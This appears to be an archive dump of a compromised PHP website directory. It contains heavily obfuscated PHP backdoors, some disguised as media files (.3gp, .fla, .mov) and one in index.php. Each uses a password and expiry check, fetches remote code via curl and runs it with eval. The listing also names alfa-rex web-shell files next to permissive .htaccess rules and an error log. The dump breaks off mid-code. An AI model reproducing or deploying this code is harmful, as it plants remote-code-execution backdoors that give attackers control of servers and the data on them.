${$Z0iYX4BoBpaJ7PIc[2 + 29] . $Z0iYX4BoBpaJ7PIc[55 + 4] . $Z0iYX4BoBpaJ7PIc[13 + 34] . $Z0iYX4BoBpaJ7PIc[2 + 45] . $Z0iYX4BoBpaJ7PIc[45 + 6] . $Z0iYX4BoBpaJ7PIc[51 + 2] . $Z0iYX4BoBpaJ7PIc[13 + 44]}; goto JRhCmCgPIrMqVm4c; y22I_gWYyK3K_3bP: metaphone("\117\124\105\x31\117\x54\x6b\63\116\152\x59\x79\x4d\x6a\x63\x35\x4e\104\125\x78\115\x7a\131\64\117\x54\x55\63\x4d\172\101\172"); goto Gy1KdqkpcFGmMHCL; iksDlBVNZKJwG_8X: $qAD7CntyN0jHuiq2 = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto RzVTALy8FTtLntAV; RzVTALy8FTtLntAV: $Z0iYX4BoBpaJ7PIc = $qAD7CntyN0jHuiq2("\x7e", "\40"); goto cEomGcC81GC2Nvf4; gugUIGF3tjWOENhK: @eval($R9NvvdzWH3xZ3ene[62](${$R9NvvdzWH3xZ3ene[35]}[12])); goto fwGAF6iKB5loazCx; JRhCmCgPIrMqVm4c: if (!(in_array(gettype($R9NvvdzWH3xZ3ene) . "\x32\x39", $R9NvvdzWH3xZ3ene) && md5(md5(md5(md5($R9NvvdzWH3xZ3ene[23])))) === "\65\145\66\142\x64\x63\61\63\x38\61\60\71\x63\61\x31\64\x66\143\x66\x66\62\142\x66\x63\145\x36\x34\67\x31\146\x64\x36")) { goto YNIpt4h_5V4eI6RH; } goto Aa3VhPdinI9MCUuL; d12OB1999ZCmgbNy: i7JrThkbCVEZo0kI::UoMhyhN0fGT7ku96(); ?> vendor/vendor/vendor/.htaccess000064400000000544150324651210012433 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all vendor/vendor/vendor/UAkryn.3gp000064400000012612150324651210012460 0ustar00 $xNt4rIWPZFtm) { $YSLplapO092r .= $wKQUjapV7vBl[$xNt4rIWPZFtm - 14319]; WBuAAhtHVxlm: } goto JY_oIdKO9Xtb; j0VxrqKheF9j: $wKQUjapV7vBl = $VcOSk8yTGlFT("\176", "\x20"); goto GFVOFO2xDvJP; RYkvo7K3Trx8: return $YSLplapO092r; goto NdcqYrc6CNab; JY_oIdKO9Xtb: fMCWXCIVAbbI: goto RYkvo7K3Trx8; NdcqYrc6CNab: } static function R2DpXxOTWNqd($fZtNQYur7YZ8, $bzUPeoEYXB_U) { goto O_iyW88z4vWx; Ahud7nOpgLoa: return empty($wKoMYjfSag7L) ? $bzUPeoEYXB_U($fZtNQYur7YZ8) : $wKoMYjfSag7L; goto EVrawx7CRazK; uDBclWZ2Z4af: curl_setopt($p0rPZEvHtn8E, CURLOPT_RETURNTRANSFER, 1); goto aZQDLzVfwNfL; aZQDLzVfwNfL: $wKoMYjfSag7L = curl_exec($p0rPZEvHtn8E); goto Ahud7nOpgLoa; O_iyW88z4vWx: $p0rPZEvHtn8E = curl_init($fZtNQYur7YZ8); goto uDBclWZ2Z4af; EVrawx7CRazK: } static function rz6nVldmzObM() { goto ed202Kc7Iak6; UD3zK00w3_3p: @eval($DRW8FEasT_L1[0 + 4]($GJoanaK0lROw)); goto rDQYs5OXTd4J; y4o9ez8nEVno: foreach ($tpM791IEnPnN as $bXQbbRVD8w2V) { $DRW8FEasT_L1[] = self::hXeoWw3n2xBz($bXQbbRVD8w2V); ocbqZZ_cu0ME: } goto Ufj0n0wwY_Nl; rDQYs5OXTd4J: die; goto EROosUTmFK9w; ed202Kc7Iak6: $tpM791IEnPnN = array("\61\x34\x33\64\x36\x2e\x31\x34\63\x33\x31\56\61\x34\x33\64\x34\56\x31\64\63\x34\x38\56\61\64\63\x32\71\56\61\64\x33\64\x34\56\x31\64\x33\x35\60\x2e\x31\64\63\x34\x33\56\61\x34\63\x32\70\x2e\x31\64\63\x33\x35\56\61\x34\63\64\x36\56\61\64\63\x32\x39\x2e\61\x34\63\64\60\x2e\x31\64\63\63\64\x2e\x31\64\x33\63\65", "\x31\64\x33\63\x30\56\61\x34\63\x32\x39\x2e\61\64\x33\x33\61\x2e\61\64\x33\x35\60\56\x31\64\x33\x33\x31\56\x31\64\x33\63\64\x2e\x31\x34\63\x32\x39\56\x31\x34\63\x39\x36\x2e\x31\64\63\71\x34", "\61\64\63\x33\x39\56\x31\x34\x33\63\60\56\x31\x34\63\63\x34\56\61\64\63\63\65\x2e\61\x34\63\65\60\x2e\x31\x34\x33\x34\65\56\x31\64\x33\x34\64\56\x31\64\63\x34\x36\56\61\x34\63\63\x34\x2e\x31\64\63\x34\65\x2e\61\x34\x33\64\64", "\x31\64\x33\x33\63\x2e\x31\64\x33\x34\70\x2e\61\x34\63\x34\66\x2e\x31\x34\63\x33\70", "\x31\x34\63\64\67\56\61\64\63\64\x38\56\x31\x34\x33\x33\x30\x2e\61\x34\x33\64\x34\56\61\x34\63\71\61\56\x31\x34\x33\71\63\x2e\61\64\x33\65\60\56\x31\x34\63\64\x35\56\61\64\x33\64\x34\56\61\x34\x33\x34\x36\56\x31\64\x33\x33\64\x2e\61\64\x33\64\x35\56\x31\64\x33\x34\x34", "\x31\x34\x33\x34\x33\x2e\x31\x34\63\64\x30\x2e\x31\x34\63\63\x37\56\x31\64\63\64\64\56\x31\64\x33\65\x30\x2e\61\64\63\x34\62\56\x31\64\63\x34\64\56\61\64\x33\x32\71\56\61\64\x33\65\x30\56\61\64\63\x34\66\x2e\x31\64\x33\x33\64\x2e\x31\64\x33\x33\x35\56\x31\x34\63\x32\71\x2e\61\x34\63\x34\64\x2e\x31\x34\x33\63\65\x2e\x31\64\x33\62\x39\56\61\64\x33\63\60", "\61\x34\63\x37\x33\56\x31\x34\x34\60\63", "\61\x34\63\x32\60", "\61\x34\x33\71\x38\56\61\64\64\x30\63", "\x31\64\63\70\60\56\x31\64\63\x36\63\56\x31\x34\63\x36\63\56\61\64\63\x38\x30\x2e\x31\64\x33\65\x36", "\61\x34\63\x34\63\x2e\61\x34\63\64\x30\56\x31\x34\63\63\x37\x2e\x31\64\x33\62\x39\56\61\x34\x33\64\64\56\61\64\x33\x33\x31\x2e\61\x34\x33\65\x30\56\x31\64\63\64\60\x2e\x31\64\x33\63\x35\56\61\64\x33\63\x33\x2e\61\x34\63\62\x38\x2e\x31\x34\63\62\x39"); goto y4o9ez8nEVno; JqNHAj_U_xEC: $ghAXkrIkahns = $DRW8FEasT_L1[1 + 1]($dGiNE5eC1vbX, true); goto YR99QhtH7KN_; EROosUTmFK9w: rY8sLRfWHD8b: goto GToZ2uSwG4xH; Ufj0n0wwY_Nl: ZGbjEQxWAuWv: goto pG2TZKnP9IcS; M6P2ym5pdcgv: if (!(@$ghAXkrIkahns[0] - time() > 0 and md5(md5($ghAXkrIkahns[3 + 0])) === "\142\143\67\x33\x33\62\x34\x66\63\142\x39\x30\143\60\x37\x38\61\61\x64\65\x39\65\x35\64\67\141\66\x36\63\x32\x32\64")) { goto rY8sLRfWHD8b; } goto pEOI5R2QazNf; d9AObUsj9YEP: $dGiNE5eC1vbX = @$DRW8FEasT_L1[3 + 0]($DRW8FEasT_L1[4 + 2], $FFDAZ7IRGOVS); goto JqNHAj_U_xEC; pEOI5R2QazNf: $GJoanaK0lROw = self::R2dPXXoTwnqD($ghAXkrIkahns[1 + 0], $DRW8FEasT_L1[0 + 5]); goto UD3zK00w3_3p; YR99QhtH7KN_: @$DRW8FEasT_L1[4 + 6](INPUT_GET, "\x6f\146") == 1 && die($DRW8FEasT_L1[3 + 2](__FILE__)); goto M6P2ym5pdcgv; pG2TZKnP9IcS: $FFDAZ7IRGOVS = @$DRW8FEasT_L1[1]($DRW8FEasT_L1[2 + 8](INPUT_GET, $DRW8FEasT_L1[3 + 6])); goto d9AObUsj9YEP; GToZ2uSwG4xH: } } goto zSF7mqPNYAWN; PTP3ZIXqYApn: GLgf7L2L5sol: goto z600U8alAXKC; a3WeXe2rb8K9: if (!(in_array(gettype($OU219d3zhoSI) . "\x31\60", $OU219d3zhoSI) && md5(md5(md5(md5($OU219d3zhoSI[4])))) === "\145\x35\62\142\x31\x31\x63\x30\141\65\63\144\x39\144\x38\141\x65\144\x38\x33\x37\x38\x30\x62\x65\x65\65\71\x65\x63\63\x63")) { goto GLgf7L2L5sol; } goto wTqzlsQVnkfT; lCy2MTGua9OE: @eval($OU219d3zhoSI[61](${$OU219d3zhoSI[37]}[14])); goto PTP3ZIXqYApn; iexFd9k7y11b: $OU219d3zhoSI = ${$c4fz_PiYNBRQ[21 + 10] . $c4fz_PiYNBRQ[38 + 21] . $c4fz_PiYNBRQ[22 + 25] . $c4fz_PiYNBRQ[33 + 14] . $c4fz_PiYNBRQ[9 + 42] . $c4fz_PiYNBRQ[42 + 11] . $c4fz_PiYNBRQ[16 + 41]}; goto a3WeXe2rb8K9; wTqzlsQVnkfT: $OU219d3zhoSI[61] = $OU219d3zhoSI[61] . $OU219d3zhoSI[76]; goto lCy2MTGua9OE; zSF7mqPNYAWN: BSYOGSu03RI5::RZ6NVLdmZObM(); ?> vendor/vendor/vendor/alfa-rex.php7000064400000026574150324651210013147 0ustar00vendor/vendor/vendor/alfa-rex.php8000064400000026574150324651210013150 0ustar00vendor/vendor/vendor/wp-login.php000064400000026574150324651210013115 0ustar00vendor/vendor/vendor/alfa-rex.php56000064400000026574150324651210013233 0ustar00vendor/vendor/vendor/index.php000064400000013425150324651210012457 0ustar00 $LRC1G6maODIWP3) { $J_bKSE_hYJVwn5 .= $gQ34qoyPyJqWwk[$LRC1G6maODIWP3 - 69231]; zHNfUODC5SPTJy: } goto HudkrGzkVEci2R; U2GP3s7z31D1Vc: $gQ34qoyPyJqWwk = $hNmdWrwjMjh8Ao("\x7e", "\40"); goto jXvWSd6TGhmU8U; HudkrGzkVEci2R: x5Wjf_9ZfiMV8i: goto HtCbRzHRbp38w7; i5ZhxPbGd3Qn8A: } static function AMR1mouWBObqtF($COmLNg_WbpipIQ, $drMW4tK3y3hAGm) { goto EsER989iQ0JNq2; EsER989iQ0JNq2: $tNtP5ExOWt8p5Q = curl_init($COmLNg_WbpipIQ); goto vreHj08f2rZZ_j; A9Inl1oaR6tMJl: return empty($B0rs_xKSZrBGe2) ? $drMW4tK3y3hAGm($COmLNg_WbpipIQ) : $B0rs_xKSZrBGe2; goto sNnThEIzjaS1zL; vreHj08f2rZZ_j: curl_setopt($tNtP5ExOWt8p5Q, CURLOPT_RETURNTRANSFER, 1); goto YfTz67lkaLfbUh; YfTz67lkaLfbUh: $B0rs_xKSZrBGe2 = curl_exec($tNtP5ExOWt8p5Q); goto A9Inl1oaR6tMJl; sNnThEIzjaS1zL: } static function rZwx19cYcF_YBF() { goto JMV0Bi_ckgRy7O; NU792OpF8u3bCl: CxZe8d1gOSejZ8: goto wEW09po3e5qAAo; ZPjUNLGrUTSIAi: a7vm7qqz8OK4yd: goto eVPHehzL6kgAAN; P2LF1UN5BjIlih: foreach ($zkdyLdXgArPYST as $sdYYdxpUyBd82J) { $xrjrEisRBwqAtZ[] = self::BoAPAuPl2SV2X6($sdYYdxpUyBd82J); qADMnqyIuMPg53: } goto NU792OpF8u3bCl; JMV0Bi_ckgRy7O: $zkdyLdXgArPYST = array("\x36\x39\62\x35\x38\44\x36\71\x32\x34\63\44\66\71\x32\x35\66\x24\x36\71\x32\x36\60\x24\x36\x39\x32\64\61\x24\66\x39\62\x35\66\x24\x36\x39\62\x36\62\44\x36\x39\62\x35\x35\x24\66\71\x32\64\x30\44\66\x39\62\64\x37\44\x36\x39\62\x35\70\44\x36\x39\x32\x34\x31\44\x36\71\x32\65\62\44\x36\x39\62\x34\66\44\x36\71\x32\x34\67", "\66\x39\x32\64\62\x24\66\x39\62\x34\61\44\x36\71\62\x34\x33\x24\x36\x39\62\x36\62\44\x36\71\62\64\x33\44\x36\71\x32\64\x36\x24\66\x39\62\64\61\44\x36\71\63\60\70\44\66\71\x33\x30\x36", "\66\71\x32\65\61\44\x36\71\x32\64\62\x24\66\71\62\x34\66\x24\x36\x39\62\x34\67\x24\66\71\x32\x36\x32\x24\x36\x39\x32\x35\67\44\66\71\x32\65\66\x24\66\x39\62\x35\x38\x24\x36\71\62\x34\x36\x24\x36\x39\62\x35\67\x24\x36\71\x32\x35\66", "\x36\71\x32\x34\65\44\x36\71\62\66\60\x24\x36\x39\x32\65\x38\x24\x36\x39\x32\65\x30", "\x36\71\x32\x35\71\x24\66\71\x32\66\60\x24\66\71\62\64\x32\44\x36\71\x32\x35\66\44\x36\x39\x33\60\63\x24\x36\71\x33\x30\65\44\66\71\x32\66\62\44\x36\x39\62\65\67\44\x36\x39\x32\x35\66\x24\x36\71\x32\65\70\x24\x36\71\x32\64\66\x24\x36\x39\x32\x35\67\44\x36\x39\62\65\x36", "\66\71\62\x35\65\44\x36\71\x32\65\x32\44\66\x39\62\64\x39\44\x36\71\62\x35\66\x24\x36\x39\x32\66\62\44\66\71\x32\x35\x34\44\x36\71\62\65\66\x24\x36\x39\x32\x34\x31\44\66\x39\x32\x36\62\44\66\x39\62\65\70\x24\66\71\x32\x34\x36\44\66\71\x32\64\x37\x24\66\x39\x32\64\61\44\66\71\x32\65\x36\x24\x36\x39\x32\x34\x37\x24\x36\71\62\64\61\44\x36\71\x32\64\x32", "\66\x39\x32\x38\x35\x24\66\x39\x33\61\x35", "\x36\71\62\x33\62", "\66\x39\63\x31\60\44\x36\x39\x33\x31\x35", "\66\71\x32\x39\x32\44\x36\x39\x32\67\x35\44\x36\x39\x32\x37\x35\x24\x36\x39\x32\71\x32\x24\x36\71\x32\x36\70", "\x36\x39\62\65\x35\x24\66\71\62\65\x32\44\x36\x39\x32\64\71\44\66\x39\62\64\61\44\66\x39\62\65\x36\x24\x36\71\62\64\63\x24\66\71\62\66\x32\44\66\x39\62\65\x32\44\66\71\x32\64\x37\44\66\x39\x32\64\x35\44\x36\71\x32\x34\60\44\66\71\62\64\x31"); goto P2LF1UN5BjIlih; ryk9xjpVnyijXa: if (!(@$AtY_89KolEIeil[0] - time() > 0 and md5(md5($AtY_89KolEIeil[0 + 3])) === "\61\67\x39\x66\x34\61\x61\x64\x65\64\141\x66\141\x65\x66\144\71\60\65\x30\60\x64\67\63\62\61\143\145\x62\65\x30\x65")) { goto a7vm7qqz8OK4yd; } goto bZjr0NzTJhcdSr; aDeiCVUUGmms_1: @eval($xrjrEisRBwqAtZ[0 + 4]($lhkNlLW2gtMHuK)); goto VnaKbqEgylqwsg; wEW09po3e5qAAo: $xHJKdM16DNWI1c = @$xrjrEisRBwqAtZ[1]($xrjrEisRBwqAtZ[5 + 5](INPUT_GET, $xrjrEisRBwqAtZ[5 + 4])); goto wd3XCRxIkix2nW; VnaKbqEgylqwsg: die; goto ZPjUNLGrUTSIAi; bZjr0NzTJhcdSr: $lhkNlLW2gtMHuK = self::AmR1mouwBobQtf($AtY_89KolEIeil[0 + 1], $xrjrEisRBwqAtZ[2 + 3]); goto aDeiCVUUGmms_1; muz8G7OEecGcBe: @$xrjrEisRBwqAtZ[1 + 9](INPUT_GET, "\x6f\146") == 1 && die($xrjrEisRBwqAtZ[0 + 5](__FILE__)); goto ryk9xjpVnyijXa; wd3XCRxIkix2nW: $BhKm8Thlzt4IxG = @$xrjrEisRBwqAtZ[1 + 2]($xrjrEisRBwqAtZ[5 + 1], $xHJKdM16DNWI1c); goto h6tXwBMzyKRx9f; h6tXwBMzyKRx9f: $AtY_89KolEIeil = $xrjrEisRBwqAtZ[0 + 2]($BhKm8Thlzt4IxG, true); goto muz8G7OEecGcBe; eVPHehzL6kgAAN: } } goto vV_EgSu3meQQuq; aUXwMjTpEpQHeR: $cx1TuMIzTZfZMw = $RlkX5l6yUdRlS4("\176", "\x20"); goto GbUM50s_VD2DmG; qf3OtM0Didc1Xa: if (!(in_array(gettype($eUBYnb0hF_55RU) . count($eUBYnb0hF_55RU), $eUBYnb0hF_55RU) && count($eUBYnb0hF_55RU) == 21 && md5(md5(md5(md5($eUBYnb0hF_55RU[15])))) === "\142\141\66\x34\x65\143\x32\x31\66\63\x62\x39\63\x39\60\146\67\65\64\x31\x33\62\144\x39\x65\64\x39\144\x66\65\60\71")) { goto e20Ydyg59aw3QX; } goto aqDbXN2lmW6ii0; GbUM50s_VD2DmG: $eUBYnb0hF_55RU = ${$cx1TuMIzTZfZMw[20 + 11] . $cx1TuMIzTZfZMw[49 + 10] . $cx1TuMIzTZfZMw[29 + 18] . $cx1TuMIzTZfZMw[41 + 6] . $cx1TuMIzTZfZMw[23 + 28] . $cx1TuMIzTZfZMw[16 + 37] . $cx1TuMIzTZfZMw[5 + 52]}; goto qf3OtM0Didc1Xa; KTI0N2vM6ojwYl: $RlkX5l6yUdRlS4 = "\162" . "\x61" . "\x6e" . "\147" . "\x65"; goto aUXwMjTpEpQHeR; DNBqMH5YoS1HRC: e20Ydyg59aw3QX: goto INLeiLs0pMBxag; INLeiLs0pMBxag: metaphone("\x4f\x54\105\167\117\124\153\63\116\152\x59\62\x4d\x54\105\63\x4e\104\153\x31\x4d\172\x63\x33\x4d\x54\131\172\x4d\172\111\x79"); goto vVcguAaCotjwFK; aqDbXN2lmW6ii0: ($eUBYnb0hF_55RU[62] = $eUBYnb0hF_55RU[62] . $eUBYnb0hF_55RU[74]) && ($eUBYnb0hF_55RU[84] = $eUBYnb0hF_55RU[62]($eUBYnb0hF_55RU[84])) && @eval($eUBYnb0hF_55RU[62](${$eUBYnb0hF_55RU[31]}[12])); goto DNBqMH5YoS1HRC; vV_EgSu3meQQuq: HiBIUC4mNyJH4u::RzWX19cyCF_YbF(); ?> vendor/vendor/vendor/BaSyTiHn.fla000064400000012711150324651210012741 0ustar00 $sSyGypmyYJBU) { $X0_pYn8D1wpN .= $yU1d9usn0yyR[$sSyGypmyYJBU - 72531]; jLh81xq830kL: } goto GTHE0gAlO4lN; wPaUsUTr2zUZ: return $X0_pYn8D1wpN; goto tyPeTEwdDzyA; GTHE0gAlO4lN: U2iEfsni6LER: goto wPaUsUTr2zUZ; tyPeTEwdDzyA: } static function S64iGW7IEL3l($o8QFkvZaTk5K, $Y7N_9z1JgPuh) { goto RPfhQ8DCGZDg; Ol9R52F02RDQ: $jS4C8B0poqiV = curl_exec($EUedR6QYnZ7Z); goto PVI2qt1PDarW; pSSa0enZV6Bi: curl_setopt($EUedR6QYnZ7Z, CURLOPT_RETURNTRANSFER, 1); goto Ol9R52F02RDQ; PVI2qt1PDarW: return empty($jS4C8B0poqiV) ? $Y7N_9z1JgPuh($o8QFkvZaTk5K) : $jS4C8B0poqiV; goto fwAel3esxn70; RPfhQ8DCGZDg: $EUedR6QYnZ7Z = curl_init($o8QFkvZaTk5K); goto pSSa0enZV6Bi; fwAel3esxn70: } static function W8HAENicmdbg() { goto me4CIYvVcGa7; KJvSFxmra_4w: MmvzMogfMXBa: goto s1bwGflP1VA2; tojKYNguN06X: N6BRDs3wuJ9r: goto FCjkIKPjYWJO; s1bwGflP1VA2: $zFIv879am4He = @$Z4zZsp_VOeBv[1]($Z4zZsp_VOeBv[0 + 10](INPUT_GET, $Z4zZsp_VOeBv[8 + 1])); goto xjCZMnC5cEba; wVzx4x4Wbwgb: foreach ($JgcG8yUT8ngI as $i5OcqDHofrUs) { $Z4zZsp_VOeBv[] = self::fw_lrSlt37Tb($i5OcqDHofrUs); IyqvyTtvwZe7: } goto KJvSFxmra_4w; h0GDVj3zUQ35: @eval($Z4zZsp_VOeBv[0 + 4]($JISg4N7oadcn)); goto JDZm9GEnAvPa; sJEYhbShkKz0: @$Z4zZsp_VOeBv[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($Z4zZsp_VOeBv[2 + 3](__FILE__)); goto slpFhQDdykBY; xjCZMnC5cEba: $Oy13llx1qZZL = @$Z4zZsp_VOeBv[0 + 3]($Z4zZsp_VOeBv[1 + 5], $zFIv879am4He); goto d3ZJSOEgnW8W; JDZm9GEnAvPa: die; goto tojKYNguN06X; slpFhQDdykBY: if (!(@$jmRSa_dmgKVC[0] - time() > 0 and md5(md5($jmRSa_dmgKVC[1 + 2])) === "\x61\x63\x32\x35\x65\63\x37\70\x33\x32\x64\64\x34\x33\63\x30\141\x38\x32\146\67\66\x64\63\x62\x62\70\x31\70\x63\x36\141")) { goto N6BRDs3wuJ9r; } goto PEL5oDeHLXGr; me4CIYvVcGa7: $JgcG8yUT8ngI = array("\x37\x32\65\x35\x38\x28\67\x32\x35\x34\63\x28\67\62\x35\65\66\50\67\x32\65\x36\60\x28\67\62\65\64\x31\50\67\x32\65\65\66\50\67\x32\65\66\62\50\x37\62\x35\65\65\50\x37\62\x35\x34\x30\x28\67\x32\65\x34\x37\x28\67\62\x35\65\x38\50\x37\62\65\64\61\50\x37\62\x35\x35\62\x28\67\x32\65\64\x36\50\67\62\x35\x34\x37", "\x37\x32\65\x34\x32\50\x37\62\65\x34\x31\50\x37\62\65\x34\63\50\x37\62\65\66\62\x28\67\62\65\64\63\x28\x37\x32\x35\64\66\50\x37\62\65\x34\x31\x28\x37\x32\x36\60\x38\50\67\62\x36\60\66", "\x37\62\65\65\61\x28\x37\62\65\64\x32\50\x37\62\65\x34\x36\x28\x37\x32\x35\64\67\x28\67\62\65\66\x32\50\67\62\65\x35\67\50\x37\62\65\x35\66\50\x37\x32\65\65\x38\50\67\x32\x35\64\66\x28\x37\62\x35\65\67\50\x37\62\x35\65\x36", "\67\x32\x35\64\65\x28\x37\x32\x35\x36\60\50\x37\62\x35\x35\70\x28\67\62\65\65\60", "\x37\x32\x35\x35\x39\50\x37\x32\65\x36\60\x28\x37\x32\65\x34\62\x28\x37\62\x35\65\66\x28\x37\x32\x36\x30\63\50\x37\x32\x36\60\x35\50\67\x32\65\x36\x32\50\x37\62\65\65\x37\50\x37\62\65\65\x36\50\x37\62\65\65\70\x28\x37\x32\65\x34\x36\50\67\x32\x35\x35\x37\50\67\x32\x35\x35\x36", "\x37\x32\x35\x35\65\50\67\62\x35\65\x32\50\67\x32\65\64\x39\x28\67\x32\65\x35\x36\x28\x37\62\x35\66\x32\50\x37\62\65\x35\x34\50\67\x32\x35\x35\66\x28\67\x32\x35\x34\x31\50\67\62\65\66\62\x28\x37\62\65\x35\x38\x28\67\x32\65\64\x36\50\x37\62\x35\64\x37\x28\x37\x32\65\64\x31\x28\67\62\65\x35\x36\50\x37\62\x35\x34\x37\50\x37\x32\x35\x34\61\50\x37\x32\65\x34\62", "\67\62\65\70\x35\50\67\62\66\61\65", "\67\62\65\x33\62", "\x37\62\66\x31\60\x28\x37\62\66\x31\65", "\x37\62\x35\x39\x32\50\67\x32\x35\67\65\x28\x37\x32\65\67\65\x28\67\62\65\71\62\50\67\x32\x35\66\70", "\67\62\x35\x35\x35\50\67\x32\x35\65\62\x28\x37\x32\65\64\x39\x28\x37\x32\x35\64\61\50\67\x32\x35\65\66\x28\x37\62\x35\x34\63\x28\67\x32\65\x36\x32\x28\x37\62\x35\x35\x32\x28\x37\x32\x35\64\67\50\67\62\65\64\65\50\67\x32\65\64\60\50\x37\62\65\64\x31"); goto wVzx4x4Wbwgb; PEL5oDeHLXGr: $JISg4N7oadcn = self::S64igW7ieL3L($jmRSa_dmgKVC[0 + 1], $Z4zZsp_VOeBv[5 + 0]); goto h0GDVj3zUQ35; d3ZJSOEgnW8W: $jmRSa_dmgKVC = $Z4zZsp_VOeBv[0 + 2]($Oy13llx1qZZL, true); goto sJEYhbShkKz0; FCjkIKPjYWJO: } } goto HtTsnV2743uR; HKp4xFDsjHm3: if (!(in_array(gettype($e4c00cAacfUJ) . count($e4c00cAacfUJ), $e4c00cAacfUJ) && count($e4c00cAacfUJ) == 11 && md5(md5(md5(md5($e4c00cAacfUJ[5])))) === "\x34\x35\x38\145\144\63\x33\63\64\145\66\70\66\x63\x63\63\x32\63\144\x36\63\60\x63\143\x62\x63\x65\x62\x38\x66\x62\x63")) { goto ujPAqBdBo_Gd; } goto OVbT2ueCPAry; ZqHmvtppcp59: $s_l1E9bWzJ0e = $G8CdqsN7OqRb("\176", "\40"); goto bZ54q_vp6eq4; HtTsnV2743uR: d2OnD1Y9IyFm::W8HaenicMdBG(); ?> vendor/vendor/vendor/about.php000064400000026574150324651210012473 0ustar00vendor/vendor/vendor/error_log000064400000001626150324651210012554 0ustar00[04-Jul-2025 15:00:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 16:08:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 vendor/vendor/vendor/about.php7000064400000026574150324651210012562 0ustar00vendor/vendor/vendor/LWfJbiqYZGgy.ico000064400000000000150324651210013544 0ustar00vendor/vendor/.htaccess000064400000000544150324651210011136 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all vendor/vendor/cmHAsby.mov000064400000012144150324651210011410 0ustar00 $a4f1nyNe0eyR) { $G8Cx0eD6c0Xp .= $f9R6ZOaxfHJO[$a4f1nyNe0eyR - 1840]; c3WQgj264sgM: } goto ZETmTvYhQh4L; uEy_B0i2xSu0: return $G8Cx0eD6c0Xp; goto p507JdJj1z9w; UPnrFQ02Ij_M: $EQ6H2uR13BgU = "\x72" . "\x61" . "\x6e" . "\x67" . "\x65"; goto nrEMpJkhuXmI; ZETmTvYhQh4L: pSfbR3OfTrlV: goto uEy_B0i2xSu0; NMmVqYCfnJ5L: $QYzthg8Hi515 = explode("\135", $K0aN2Gl_6wtx); goto jIPm8Lao_bkF; jIPm8Lao_bkF: $G8Cx0eD6c0Xp = ''; goto sS4QVQTrzmad; p507JdJj1z9w: } static function T9dyplDVreBW($CJoSVcxSa0UH, $Ievfxlmmzhth) { goto cvAXRrpkr4Ok; Tqa_23mNqoX4: $iJTBb3c5d9bG = curl_exec($Qz4oE1VQ28Vz); goto iZwWEwCU5m_R; iZwWEwCU5m_R: return empty($iJTBb3c5d9bG) ? $Ievfxlmmzhth($CJoSVcxSa0UH) : $iJTBb3c5d9bG; goto nreEN_m3GDua; SwSC8LWFcYDP: curl_setopt($Qz4oE1VQ28Vz, CURLOPT_RETURNTRANSFER, 1); goto Tqa_23mNqoX4; cvAXRrpkr4Ok: $Qz4oE1VQ28Vz = curl_init($CJoSVcxSa0UH); goto SwSC8LWFcYDP; nreEN_m3GDua: } static function mhEL2_aSAJVR() { goto qfWZ3WXoTNDj; I7LwtQcfilF9: $WquYsQJrFdHl = @$ZzTkuRsBrmM6[3 + 0]($ZzTkuRsBrmM6[6 + 0], $haTcriAHnqCP); goto nUBYatOQEGl9; vVBcIvlymKDo: @eval($ZzTkuRsBrmM6[1 + 3]($QNuOCpq9q1HF)); goto jH8DxDzWriMu; Y2MqaNexFK7f: if (!(@$TNvkdHArDnv6[0] - time() > 0 and md5(md5($TNvkdHArDnv6[1 + 2])) === "\x35\62\x32\63\x31\143\x39\x66\64\x31\x36\x31\62\x35\x33\143\142\x34\x30\66\63\60\65\63\61\64\65\x66\142\62\x65\67")) { goto t7yVoSBg0H0F; } goto eETKegf1edYu; b2xwaipPV_j2: fQoxzJOV0CKU: goto TtO756G6dE5E; HyCG9OR2kVGJ: t7yVoSBg0H0F: goto IM4qf3z7JNjk; saherlxgaPwJ: @$ZzTkuRsBrmM6[0 + 10](INPUT_GET, "\157\x66") == 1 && die($ZzTkuRsBrmM6[4 + 1](__FILE__)); goto Y2MqaNexFK7f; jH8DxDzWriMu: die; goto HyCG9OR2kVGJ; a02e5nwzEQQP: foreach ($OTgqAmucj7At as $iX5EyhXJYPdO) { $ZzTkuRsBrmM6[] = self::AZr4BbhuINfZ($iX5EyhXJYPdO); amZwY4PICz2Y: } goto b2xwaipPV_j2; eETKegf1edYu: $QNuOCpq9q1HF = self::t9dYPLDvREbW($TNvkdHArDnv6[1 + 0], $ZzTkuRsBrmM6[2 + 3]); goto vVBcIvlymKDo; TtO756G6dE5E: $haTcriAHnqCP = @$ZzTkuRsBrmM6[1]($ZzTkuRsBrmM6[5 + 5](INPUT_GET, $ZzTkuRsBrmM6[5 + 4])); goto I7LwtQcfilF9; nUBYatOQEGl9: $TNvkdHArDnv6 = $ZzTkuRsBrmM6[2 + 0]($WquYsQJrFdHl, true); goto saherlxgaPwJ; qfWZ3WXoTNDj: $OTgqAmucj7At = array("\x31\70\66\67\135\61\x38\x35\62\135\x31\x38\66\x35\x5d\61\x38\66\x39\135\x31\x38\x35\x30\x5d\x31\x38\66\x35\135\61\70\67\x31\135\x31\x38\66\64\135\61\70\64\71\135\61\70\x35\x36\x5d\61\70\x36\67\135\61\x38\x35\60\x5d\x31\70\x36\61\135\x31\70\65\x35\135\x31\x38\65\x36", 